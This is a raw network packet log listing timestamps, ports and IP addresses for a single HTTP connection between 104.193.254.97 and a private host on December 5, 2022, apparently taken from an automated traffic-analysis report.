Dec 5, 2022 06:44:45.010029078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010056019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010094881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010109901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010134935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010164022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010204077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010226011 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010243893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010272026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010309935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010324955 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010349035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010376930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010415077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010425091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010456085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010482073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010520935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010530949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010560036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010588884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010627031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010638952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010667086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010694027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010734081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010744095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010773897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010802031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010839939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010854006 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.010896921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010926008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010971069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.010978937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.011012077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011042118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011080027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011101961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.011120081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011147022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011188984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011229038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011256933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011256933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.011296034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011320114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.011334896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011362076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011400938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011434078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.011440039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011470079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011507988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011534929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.011548042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011576891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.011642933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.160842896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.160902977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.160939932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.160999060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161031961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.161062956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161107063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161170959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.161583900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161628008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161657095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161695957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161717892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.161761045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161798000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161827087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.161859989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161907911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161936998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161982059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.161989927 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.162055969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.162087917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.162157059 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.176666021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.176757097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.176809072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.176862955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.176903009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.176925898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.176975965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177004099 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177042007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177100897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177145958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177160025 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177210093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177258968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177288055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177325964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177340984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177392006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177421093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177452087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177544117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177583933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177612066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177651882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177680016 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177712917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177761078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177788973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177819014 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177849054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177898884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177937984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.177954912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.177982092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178030968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178042889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178092957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178138971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178150892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178184032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178234100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178275108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178313017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178334951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178356886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178406954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178419113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178468943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178514004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178530931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178559065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178606987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178647995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178687096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178704977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178730965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178780079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178792000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178841114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178914070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.178927898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.178971052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179009914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179049015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179075956 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179111958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179146051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179184914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179210901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179250002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179295063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179320097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179335117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179414034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179455042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179495096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179522991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179534912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179589987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179625034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179677963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179678917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179713011 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179732084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179783106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179824114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179864883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179896116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.179905891 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179935932 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.179960966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180010080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180051088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180080891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180125952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180125952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180182934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180228949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180260897 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180268049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180321932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180349112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180388927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180435896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180455923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180480957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180531025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180571079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180613041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180644989 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180649996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180707932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180716038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180769920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180813074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180840969 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.180855036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180907011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180948973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.180988073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181010962 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181030989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181082964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181099892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181205034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181258917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181273937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181305885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181354046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181395054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181436062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181467056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181474924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181530952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181540966 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181593895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181638002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181658983 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181684017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181734085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181775093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181814909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181843996 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181853056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181909084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.181921959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.181971073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182017088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182032108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182065010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182111025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182167053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182229042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182233095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182275057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182320118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182338953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182382107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182415962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182447910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182477951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182526112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182566881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182595015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182629108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182655096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182704926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182744980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182775021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182784081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182841063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182848930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.182929993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.182975054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183001041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183012962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183065891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183106899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183146954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183167934 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183191061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183248997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183259010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183312893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183356047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183373928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183399916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183449030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183490038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183530092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183552027 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183572054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183623075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183640957 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183687925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183732986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183748960 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183778048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183828115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183866978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183907986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.183928013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.183949947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184000969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184034109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184046984 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184077024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184097052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184146881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184156895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184206963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184241056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184268951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184300900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184351921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184359074 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184412003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184443951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184477091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184499025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184549093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184587955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184607029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184631109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184678078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184689045 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184740067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184784889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184817076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184822083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184849977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.184886932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184932947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184961081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.184992075 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.185017109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.185066938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.185105085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.185126066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.185149908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.185234070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.323604107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.323668003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.323702097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.323837996 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.324132919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324177027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324220896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324243069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.324249983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324273109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.324290037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324331045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324369907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324385881 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.324399948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324440002 CET	80	49705	104.193.254.97	192.168.2.3
